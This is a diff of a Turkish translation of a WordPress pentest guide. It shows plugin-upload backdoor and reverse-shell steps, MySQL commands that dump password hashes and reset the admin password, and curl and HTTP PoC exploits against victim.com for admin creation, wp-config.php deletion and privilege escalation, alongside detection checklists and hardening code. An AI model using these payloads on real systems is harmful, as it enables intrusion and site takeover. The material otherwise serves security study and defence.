Güncellenmiş sayfaya nasıl erişileceğini internette araştırın. Bu durumda şuraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -270,7 +270,7 @@ oturum elde etmek için.
### PHP plugin
.php dosyalarını bir plugin olarak yüklemek mümkün olabilir.\
Örneğin şu şekilde php backdoor oluşturun:
Örneğin şu şekilde php backdoor'unuzu oluşturun:
![](<../../images/image (183).png>)
@ -278,15 +278,15 @@ Sonra yeni bir plugin ekleyin:
![](<../../images/image (722).png>)
Plugin'i yükleyin ve Install Now'a basın:
Plugin'i yükleyin ve "Install Now" butonuna basın:
![](<../../images/image (249).png>)
Procced'e tıklayın:
"Procced"e tıklayın:
![](<../../images/image (70).png>)
Muhtemelen görünürde herhangi bir şey olmayacaktır, ancak Media'ya giderseniz shell'inizin yüklendiğini göreceksiniz:
Muhtemelen görünürde hiçbir şey olmayacak, ancak Media'ya giderseniz yüklenmiş shell'inizi göreceksiniz:
![](<../../images/image (462).png>)
@ -296,30 +296,30 @@ Erişin ve reverse shell'i çalıştırmak için URL'yi göreceksiniz:
### Uploading and activating malicious plugin
Bu yöntem, bilinen zafiyete sahip kötü amaçlı bir plugin'in kurulmasını ve web shell elde etmek için sömürülmesini içerir. Bu süreç WordPress dashboard'u üzerinden şu şekilde gerçekleştirilir:
Bu yöntem, bilinen şekilde zafiyetli olan ve web shell elde etmek için istismar edilebilen zararlı bir plugin'in kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir:
1. **Plugin Acquisition**: Plugin, Exploit DB gibi bir kaynaktan edinilir; örneğin [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- WordPress dashboard'ına gidin, ardından `Dashboard > Plugins > Upload Plugin` yolunu izleyin.
1. **Plugin Edinimi**: Plugin, Exploit DB gibi bir kaynaktan elde edilir; örneğin [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Kurulumu**:
- WordPress dashboard'a gidin, sonra `Dashboard > Plugins > Upload Plugin`.
- İndirilen plugin'in zip dosyasını yükleyin.
3. **Plugin Activation**: Plugin başarılı şekilde yüklendikten sonra dashboard üzerinden etkinleştirilmelidir.
3. **Plugin Aktivasyonu**: Plugin başarılı şekilde yüklendikten sonra dashboard üzerinden aktive edilmelidir.
4. **Exploitation**:
- "reflex-gallery" plugin'i yüklendiğinde ve etkinleştirildiğinde, bilinen bir zafiyet nedeniyle sömürülebilir.
- Metasploit framework bu zafiyet için bir exploit sunar. Uygun modülü yükleyip belirli komutları çalıştırarak bir meterpreter session kurulabilir ve siteye yetkisiz erişim sağlanabilir.
- Bu, WordPress sitesini sömürmek için kullanılabilecek birçok yöntemden sadece biridir.
- "reflex-gallery" plugin'i yüklü ve aktif olduğunda, zafiyeti bilindiği için istismar edilebilir.
- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak bir meterpreter oturumu kurulabilir ve siteye yetkisiz erişim sağlanabilir.
- Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu not edilmelidir.
İçerik, plugin'in yüklenmesi ve etkinleştirilmesi adımlarını gösteren WordPress dashboard görüntülerini içermektedir. Ancak, bu şekilde zafiyetleri sömürmenin uygun yetki olmadan yasa dışı ve etik dışı olduğunu unutmamak önemlidir. Bu bilgi, yalnızca yetkili bir bağlamda, örneğin açık izinli penetration testing gibi yasal çerçevede sorumlu şekilde kullanılmalıdır.
İçerik, WordPress dashboard'unda plugin'i yükleme ve aktifleştirme adımlarını gösteren görsel yardımcılar içerir. Ancak, bu şekilde zafiyetleri istismar etmek uygun yetki olmadan yasa dışı ve etik dışıdır. Bu bilgiler sorumlu şekilde ve yalnızca açık izinle yapılan penetration testing gibi yasal bağlamlarda kullanılmalıdır.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
## XSS'ten RCE'ye
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ WordPress'te bir **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir script'tir. Daha fazla bilgi için [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)'a bakın. Aşağıdaki Wordpress sürümlerini destekler ve şunları yapmaya olanak tanır:
- _**Privilege Escalation:**_ WordPress'te bir kullanıcı oluşturur.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Özel plugin'inizi (backdoor) WordPress'e yükler.
- _**(RCE) Built-In Plugin Edit:**_ WordPress'teki Built-In Plugin'leri düzenler.
- _**(RCE) Built-In Theme Edit:**_ WordPress'teki Built-In Theme'leri düzenler.
- _**(Custom) Custom Exploits:**_ Üçüncü taraf WordPress Plugin/Theme'leri için özel exploitler sağlar.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Özel plugin (backdoor) yüklemenizi sağlar.
- _**(RCE) Built-In Plugin Edit:**_ WordPress'teki built-in plugin'leri düzenlemenizi sağlar.
- _**(RCE) Built-In Theme Edit:**_ WordPress'teki built-in theme'leri düzenlemenizi sağlar.
- _**(Custom) Custom Exploits:**_ Üçüncü taraf WordPress pluginleri/temaları için özel exploit'ler.
## Post Exploitation
@ -327,33 +327,33 @@ Kullanıcı adları ve parolaları çıkar:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
admin şifresini değiştir:
admin parolasını değiştir:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Eklentileri Pentest
## Wordpress Plugins Pentest
### Saldırı Yüzeyi
### Attack Surface
Bir Wordpress eklentisinin işlevselliği nasıl ortaya koyabildiğini bilmek, o işlevsellikteki zafiyetleri bulmak için kritiktir. Bir eklentinin işlevselliği nasıl ortaya koyabileceğini aşağıdaki madde işaretlerinde bulabilirsiniz ve bazı savunmasız eklenti örnekleri için [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) sayfasına bakın.
Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkardığını bilmek, o işlevlerdeki zafiyetleri bulmak için anahtardır. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki madde başlıklarında bulabilirsiniz ve savunmasız bazı eklenti örnekleri için [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Bir eklentinin işlevlerini kullanıcılara açmasının yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu işlevlerin sıklıkla hem authentication hem de authorization'ı bir Wordpress nonce'unun varlığına dayandırdığını görürüz; bu nonce **Wordpress örneğinde kimliği doğrulanmış herhangi bir kullanıcının sahip olabileceği** (rolünden bağımsız olarak) bir değerdir.
Bir eklentinin fonksiyonlarını kullanıcılara açığa çıkarmasının yollarından biri AJAX işleyicileridir. Bunlar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu fonksiyonların sıklıkla hem authentication hem authorization'ı bir wordpress nonce'unun varlığına dayandırması yaygındır; bu nonce **Wordpress kurulumunda kimliği doğrulanmış herhangi bir kullanıcıda bulunabilir** (rolünden bağımsız olarak).
These are the functions that can be used to expose a function in a plugin:
Bunlar bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlardır:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**`nopriv` kullanımı endpoint'e herhangi bir kullanıcı tarafından erişilebilir hale getirir (hatta kimlik doğrulanmamış kullanıcılar dahil).**
**`nopriv` kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimlik doğrulanmamış olanlar dahil) erişilebilir hale getirir.**
> [!CAUTION]
> Ek olarak, eğer fonksiyon sadece kullanıcının yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle sadece kullanıcının oturum açmış olduğunu kontrol eder; kullanıcının rolünü genellikle kontrol etmez. Bu nedenle düşük yetkili kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir.
> Ayrıca, eğer fonksiyon yalnızca kullanıcının yetkisini `wp_verify_nonce` fonksiyonuyla kontrol ediyorsa, bu fonksiyon sadece kullanıcının oturum açmış olduğunu doğrular; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalığa sahip kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir.
- **REST API**
Ayrıca WordPress'te fonksiyonları `register_rest_route` fonksiyonunu kullanarak bir REST API kaydederek erişime açmak da mümkündür:
Ayrıca `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir REST API olarak kayıt edip açığa çıkarmak da mümkündür:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` belirli bir kullanıcının API yöntemini çağırmaya yetkili olup olmadığını kontrol eden bir callback fonksiyonudur.
The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
**Yerleşik `__return_true` fonksiyonu kullanılırsa, kullanıcı izinleri kontrolünü basitçe atlar.**
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
- **PHP dosyasına doğrudan erişim**
- **Doğrudan php dosyasına erişim**
Elbette, Wordpress PHP kullanır ve plugin içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu yüzden, bir plugin yalnızca dosyaya erişilerek tetiklenen herhangi bir savunmasız fonksiyonellik sunuyorsa, bu herhangi bir kullanıcı tarafından exploit edilebilir olacak.
Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir güvenlik açığı barındırıyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Bazı pluginler dahili entegrasyonlar veya reverse proxies için “trusted header” kısayolları uygular ve daha sonra REST istekleri için mevcut kullanıcı bağlamını ayarlamak için bu header'ı kullanır. Eğer header upstream bir bileşen tarafından kriptografik olarak isteğe bağlanmamışsa, bir saldırgan onu spoof yapabilir ve ayrıcalıklı REST rotalarına administrator olarak erişebilir.
Bazı eklentiler dahili entegrasyonlar veya reverse proxy'ler için “trusted header” kısayolları uygular ve sonra bu header'ı REST istekleri için mevcut kullanıcı bağlamını ayarlamakta kullanır. Eğer bu header yukarı akış bileşeni tarafından isteğe kriptografik olarak bağlanmamışsa, bir saldırgan onu taklit ederek yönetici olarak ayrıcalıklı REST rotalarına erişebilir.
- Etki: doğrulanmamış privilege escalation ile admin yetkisine yükseltme — core users REST route üzerinden yeni bir administrator oluşturarak.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (kullanıcı ID'si 1'i zorlar, genellikle ilk administrator hesabı).
- İstismar edilen rota: `POST /wp-json/wp/v2/users` with an elevated role array.
- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
PoC
```http
@ -393,38 +393,38 @@ Content-Length: 114
```
Neden işe yarıyor
- Eklenti, istemci tarafından kontrol edilen bir header'ı kimlik doğrulama durumuna eşleyip yetenek kontrollerini atlıyor.
- WordPress core bu route için `create_users` yeteneğini bekler; eklenti hilesi header'dan doğrudan current user context ayarlayarak bunu atlıyor.
- Plugin, istemci tarafından kontrol edilen bir header'ı authentication state ile eşler ve capability kontrollerini atlar.
- WordPress core bu route için `create_users` capability'sini bekler; plugin hack'i bu kontrolü header'dan doğrudan current user context ayarlayarak atlatır.
Beklenen başarı göstergeleri
- Oluşturulan kullanıcıyı tanımlayan bir JSON gövdesi ile HTTP 201.
- HTTP 201 ve oluşturulan kullanıcıyı tanımlayan bir JSON body.
- `wp-admin/users.php` içinde görünen yeni bir admin kullanıcı.
Tespit kontrol listesi
- `getallheaders()`, `$_SERVER['HTTP_...']` veya özel headerları okuyup kullanıcı bağlamı ayarlayan vendor SDK'ları (ör. `wp_set_current_user()`, `wp_set_auth_cookie()`) için grep ile ara.
- Yetkisiz callback'lerin sağlam `permission_callback` kontrolleri olmadan REST kayıtlarında kullanılıp kullanılmadığını gözden geçir ve bunun yerine request headerlarına güvenilip güvenilmediğine bak.
- REST handler'ları içinde yalnızca header değerleriyle kapatılmış core kullanıcı yönetim fonksiyonlarının (`wp_insert_user`, `wp_create_user`) kullanımına bak.
- `getallheaders()`, `$_SERVER['HTTP_...']` için grep yapın veya vendor SDK'ları gibi custom header'ları okuyup user context ayarlayan kütüphanelere bakın (ör. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Privileged callback'leri olan REST kayıtlarını inceleyin; sağlam bir `permission_callback` kontrolü olmayan ve bunun yerine request header'larına güvenenleri tespit edin.
- REST handler'ları içinde yalnızca header değerleri ile sınırlanan core user-management fonksiyonlarının (`wp_insert_user`, `wp_create_user`) kullanımlarına bakın.
Sertleştirme
- Kimlik doğrulama veya yetkilendirmeyi istemci kontrollü header'lardan türetmeyin.
- Eğer bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxynin kenarında sonlandırın ve gelen kopyaları temizleyin (ör. kenarda `unset X-Wcpay-Platform-Checkout-User`), sonra imzalı bir token ile iletin ve bunu server-side doğrulayın.
- Ayrıcalıklı işlemler yapan REST route'ları için `current_user_can()` kontrolleri ve katı bir `permission_callback` zorunlu kılın (ASLA `__return_true` kullanmayın).
- Header “impersonation” yerine öncelikle first-party auth (cookies, application passwords, OAuth) kullanın.
- Authentication veya authorization'ı istemci kontrollü header'lardan türetmeyin.
- Bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxy'de sonlandırın ve gelen kopyaları kenarda strip edin (ör. edge'de `unset X-Wcpay-Platform-Checkout-User`), sonra imzalı bir token ile iletin ve server-side doğrulayın.
- Privileged action yapan REST route'ları için `current_user_can()` kontrolleri ve katı bir `permission_callback` zorunlu kılın ( `__return_true` kullanmayın).
- Header “impersonation” yerine birinci taraf auth'u (cookies, application passwords, OAuth) tercih edin.
Referanslar: halka açık bir vaka ve daha geniş analiz için bu sayfanın sonundaki bağlantılara bakın.
Referanslar: halka açık bir vaka ve daha geniş analiz için sayfanın sonundaki linklere bakın.
### Kimlik doğrulama olmadan rastgele dosya silme wp_ajax_nopriv aracılığıyla (Litho Theme <= 3.0)
### wp_ajax_nopriv ile Yetkisiz Keyfi Dosya Silme (Litho Theme <= 3.0)
WordPress theme'leri ve plugin'leri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları aracılığıyla AJAX handler'ları açığa çıkarır. **_nopriv_** varyantı kullanıldığında **callback kimlik doğrulaması olmayan ziyaretçiler tarafından erişilebilir hale gelir**, bu yüzden herhangi bir hassas işlem ayrıca şunları uygulamalıdır:
WordPress temaları ve eklentileri sıkça AJAX handler'larını `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları aracılığıyla açığa çıkarır. **_nopriv_** varyantı kullanıldığında **callback yetkisiz ziyaretçiler tarafından erişilebilir hale gelir**, bu yüzden herhangi bir hassas işlem ayrıca aşağıdakileri uygulamalıdır:
1. Bir **capability check** (örn. `current_user_can()` veya en azından `is_user_logged_in()`), ve
1. Bir **yetki kontrolü** (ör. `current_user_can()` veya en azından `is_user_logged_in()`), ve
2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve
3. **Sıkı input sanitizasyonu / validasyonu**.
3. **Sıkı girdi sanitizasyonu / doğrulaması**.
Litho multipurpose theme (< 3.1) bu 3 kontrolü *Remove Font Family* özelliğinde unutmuş ve sonuç olarak aşağıdaki kodu (basitleştirilmiş) göndermiştir:
Litho multipurpose theme (< 3.1) bu 3 kontrolü *Remove Font Family* özelliğinde unutmuş ve sonuç olarak aşağıdaki kodu (sadeleştirilmiş) dağıtmış:
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -445,27 +445,27 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
Bu kod parçasının yol açtığı sorunlar:
* **Yetkilendirilmemiş erişim** – `wp_ajax_nopriv_` hook'u kayıtlı.
* **Nonce / capability check yok** – herhangi bir ziyaretçi endpoint'i çağırabilir.
* **Yol temizleme (sanitisation) yok** – kullanıcı kontrolündeki `fontfamily` string'i filtrelenmeden bir dosya sistemi yoluna ekleniyor; bu da klasik `../../` traversal'a izin veriyor.
* **Kimlik doğrulaması olmayan erişim** – `wp_ajax_nopriv_` hook'ı kayıtlı.
* **Nonce / capability check yok** – herhangi bir ziyaretçi endpoint'e istek gönderebilir.
* **Yol sanitizasyonu yok** – kullanıcı kontrollü `fontfamily` string'i filtrelenmeden dosya sistemi yoluna ekleniyor, klasik `../../` traversal'a izin veriyor.
#### İstismar
Bir saldırgan tek bir HTTP POST isteği göndererek **uploads ana dizininin altındaki** herhangi bir dosya veya dizini silebilir (normalde `<wp-root>/wp-content/uploads/`):
Bir saldırgan tek bir HTTP POST isteği göndererek herhangi bir dosyayı veya dizini **uploads ana dizininin altında** (genellikle `<wp-root>/wp-content/uploads/`) silebilir:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
`wp-config.php` *uploads* klasörünün dışında bulunduğu için, varsayılan kurulumda dört `../` dizisi yeterlidir. `wp-config.php`'yi silmek bir sonraki ziyarette WordPress'i *kurulum sihirbazı* durumuna sokar ve tam site ele geçirmeye olanak verir (saldırgan sadece yeni bir DB yapılandırması sağlar ve bir admin user oluşturur).
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
Diğer etkili hedefler arasında plugin/theme `.php` dosyaları (security plugin'lerini bozmak için) veya `.htaccess` kuralları yer alır.
#### Tespit kontrol listesi
* `add_action( 'wp_ajax_nopriv_...')` callback'larında dosya sistemi yardımcılarını (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.) çağıran herhangi bir şey.
* Temizlenmemiş kullanıcı girdisinin dosya yollarına eklenmesi (bak: `$_POST`, `$_GET`, `$_REQUEST`).
* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()` yokluğu.
* Dosya sistemi yardımcılarını (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.) çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` callback'i.
* Temizlenmemiş kullanıcı girdilerinin yollara eklenmesi (bak: `$_POST`, `$_GET`, `$_REQUEST`).
* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()` fonksiyonlarının yokluğu.
#### Sertleştirme
```php
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Always** disk üzerinde yapılacak herhangi bir yazma/silme işlemini ayrıcalıklı (privileged) olarak kabul edin ve şu konuları iki kez kontrol edin:
> **Her zaman** diskteki herhangi bir yazma/silme işlemini ayrıcalıklı olarak ele alın ve çift kontrol yapın:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via eskimiş rolün geri yüklenmesi ve eksik yetkilendirme (ASE "View Admin as Role")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Birçok eklenti, orijinal rol(leri) daha sonra geri yüklenebilmesi için user meta içine kaydederek "view as role" veya geçici rol değiştirme özelliği uygular. Eğer geri yükleme yolu yalnızca istek parametrelerine (ör. `$_REQUEST['reset-for']`) ve eklenti tarafından tutulan bir listeye dayanıyor ve capabilities kontrolü ile geçerli bir nonce doğrulaması yapılmıyorsa, bu dikey bir privilege escalation'e dönüşür.
Birçok plugin, orijinal rol(leri) user meta içinde kaydederek daha sonra geri yüklenebilmeleri için "view as role" veya geçici rol değiştirme özelliği uygular. Eğer geri yükleme yolu yalnızca request parametrelerine (ör. `$_REQUEST['reset-for']`) ve plugin tarafından tutulan bir listeye dayanıyor ve capabilities ile valid nonce kontrolü yapmıyorsa, bu bir vertical privilege escalation haline gelir.
Gerçek bir örnek Admin and Site Enhancements (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Reset dalı, kullanıcı adı dahili bir dizi `$options['viewing_admin_as_role_are']` içinde görünüyorsa `reset-for=<username>` bazında rolleri geri yüklüyordu, fakat mevcut rolleri kaldırıp kullanıcı metasından `_asenha_view_admin_as_original_roles` ile kaydedilmiş rolleri yeniden eklemeden önce ne `current_user_can()` kontrolü ne de nonce doğrulaması yapıyordu:
Gerçek bir örnek Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) içinde bulunmuştur. Reset dalı, kullanıcı adı dahili bir dizi `$options['viewing_admin_as_role_are']` içinde görünüyorsa `reset-for=<username>` bazında rolleri geri yüklüyordu, ancak mevcut rolleri kaldırıp user meta `_asenha_view_admin_as_original_roles` içindeki kaydedilmiş rolleri tekrar eklemeden önce ne bir `current_user_can()` kontrolü ne de bir nonce doğrulaması yapıyordu:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -511,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Neden sömürülebilir
Neden istismar edilebilir
- `$_REQUEST['reset-for']` ve bir eklenti seçeneğine sunucu tarafı yetkilendirmesi olmadan güveniyor.
- Bir kullanıcı daha önce `_asenha_view_admin_as_original_roles` içinde yüksek ayrıcalıklar kaydetmişse ve yetkileri düşürülmüşse, reset path'e erişerek bunları geri yükleyebilir.
- Bazı dağıtımlarda, herhangi bir kimliği doğrulanmış kullanıcı `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adı için reset tetikleyebilir (bozuk yetkilendirme).
- Sunucu tarafı yetkilendirmesi olmadan `$_REQUEST['reset-for']` ve bir plugin seçeneğine güvenir.
- Daha önce `_asenha_view_admin_as_original_roles` içinde daha yüksek ayrıcalıklara sahip olup yetkisi düşürülmüş bir kullanıcı, sıfırlama yoluna erişerek bunları geri yükleyebilir.
- Bazı dağıtımlarda, yetkilendirme hatası nedeniyle herhangi bir kimlikli kullanıcı, `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adına reset tetikleyebilir (broken authorization).
Saldırı önkoşulları
- Özelliği etkinleştirilmiş zafiyetli eklenti sürümü.
- Hedef hesabın, önceki kullanımdan user meta içinde saklanmış eskimiş yüksek ayrıcalıklı bir rolü var.
- Herhangi bir kimliği doğrulanmış oturum; reset akışında nonce/capability eksik.
- Özelliği etkin olan etkilenmiş plugin sürümü.
- Hedef hesabın, önceki kullanımdan kalan ve user meta'da saklı yüksek ayrıcalıklı bir role sahip olması.
- Herhangi bir doğrulanmış oturum; reset akışında nonce/capability eksikliği.
İstismar (örnek)
```bash
@ -531,36 +531,36 @@ Saldırı önkoşulları
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Etkilenebilir sürümlerde bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör. `administrator`) yeniden ekler; bu da ayrıcalık yükseltimine yol açar.
Zayıf yapılandırmalarda bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (örn. `administrator`) yeniden ekler; bu da ayrıcalıkların yükselmesine yol açar.
Detection checklist
- Kullanıcı meta verisinde “original roles” değerini saklayan rol-değiştirme özelliklerini arayın (ör. `_asenha_view_admin_as_original_roles`).
- Sıfırlama/geri yükleme yollarını belirleyin ki:
- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST`'ten okuyan.
- Rolleri `add_role()` / `remove_role()` ile, `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan değiştiren.
- Yetkilendirmeyi aktörün yetenekleri yerine bir eklenti seçenek dizisine (ör. `viewing_admin_as_role_are`) dayandıran.
- Rol değiştirme özelliklerinde, kullanıcı meta verisinde “orijinal rolleri” (örn. `_asenha_view_admin_as_original_roles`) saklayan öğeleri arayın.
- Sıfırlama/geri yükleme yollarını belirleyin:
- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST` üzerinden okuyan.
- Rolleri `add_role()` / `remove_role()` ile değiştiren ve bunu `current_user_can()` ile `wp_verify_nonce()` / `check_admin_referer()` kontrolleri olmadan yapan.
- Yetkilendirmeyi aktörün yetenekleri yerine bir eklenti seçenek dizisine (örn. `viewing_admin_as_role_are`) dayandıran.
Hardening
- Her durum-değiştiren dalda yetenek kontrollerini uygulayın (ör. `current_user_can('manage_options')` veya daha sıkı).
- Tüm rol/izin değişiklikleri için nonce zorunlu kılın ve doğrulayın: `check_admin_referer()` / `wp_verify_nonce()`.
- İstekle gelen kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında, kimlik doğrulanmış aktöre ve açık politikalara göre belirleyin.
- Profil/rol güncellemelerinde “original roles” durumunu geçersiz kılın, böylece eski yüksek ayrıcalıkların geri yüklenmesini engelleyin:
- Her durum değişikliğine yol açan kod dalında yetenek kontrollerini zorunlu kılın (örn. `current_user_can('manage_options')` veya daha sıkı).
- Tüm rol/izin değişiklikleri için nonce gerektirin ve doğrulayın: `check_admin_referer()` / `wp_verify_nonce()`.
- İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında, kimlik doğrulanmış aktöre ve açık politikaya göre belirleyin.
- Profil/rol güncellemelerinde “orijinal rolleri” durumu geçersiz kılın, böylece eski yüksek ayrıcalıkların geri yüklenmesini engelleyin:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Geçici rol değişiklikleri için mümkün olan en az durumu saklamayı ve zaman sınırlı, yetki-korumalı belirteçler kullanmayı düşünün.
- Geçici rol değişimleri için minimum durum saklamayı ve süreli, yetki-korumalı token'lar kullanmayı düşünün.
---
### Kimlik doğrulanmamış yetki yükseltme — public `init` üzerinde cookie‑trusted user switching (Service Finder “sf-booking”)
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Bazı pluginler, user-switching yardımcılarını public `init` hook'una bağlıyor ve kimliği bir istemci tarafından kontrol edilen cookie'den türetiyor. Eğer kod, kimlik doğrulama, yetki ve geçerli bir nonce doğrulamadan `wp_set_auth_cookie()` çağırıyorsa, herhangi bir kimlik doğrulanmamış ziyaretçi rastgele bir kullanıcı ID'si olarak giriş yapmayı zorlayabilir.
Bazı eklentiler user-switching yardımcılarını public `init` hook'una bağlar ve kimliği client-controlled cookie'den türetir. Eğer kod `wp_set_auth_cookie()`'ı kimlik doğrulama, capability ve geçerli bir nonce doğrulaması yapmadan çağırıyorsa, herhangi bir yetkilendirilmemiş ziyaretçi rastgele bir kullanıcı ID'si ile zorla giriş yapabilir.
Tipik zafiyet deseni (Service Finder Bookings ≤ 6.1'den basitleştirilmiş):
Tipik zayıf desen (Service Finder Bookings ≤ 6.1'den basitleştirilmiş):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -591,9 +591,9 @@ wp_die('No original user found to switch back to.');
```
Neden istismar edilebilir
- Genel erişime açık `init` hook'u, işleyicinin kimliği doğrulanmamış kullanıcılar tarafından erişilebilir olmasını sağlar (hiçbir `is_user_logged_in()` koruması yok).
- Public `init` hook, handler'ın kimliği doğrulanmamış kullanıcılar tarafından erişilebilir olmasını sağlar (hiçbir `is_user_logged_in()` koruması yok).
- Kimlik, istemci tarafından değiştirilebilen bir cookie (`original_user_id`) üzerinden türetilir.
- Doğrudan `wp_set_auth_cookie($uid)` çağrısı, istekte bulunananı herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır.
- Doğrudan `wp_set_auth_cookie($uid)` çağrısı, istekte bulunan kişiyi herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır.
İstismar (kimliği doğrulanmamış)
```http
@ -607,15 +607,15 @@ Connection: close
### WAF considerations for WordPress/plugin CVEs
Genel edge/sunucu WAF'ları geniş desenlere (SQLi, XSS, LFI) göre ayarlanır. Birçok yüksek etkili WordPress/plugin zaafı, motor WordPress rotalarını ve plugin semantiğini anlamadıkça zararsız trafik gibi görünen uygulamaya özgü mantık/kimlik doğrulama hatalarıdır.
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
Offensive notes
Saldırı notları
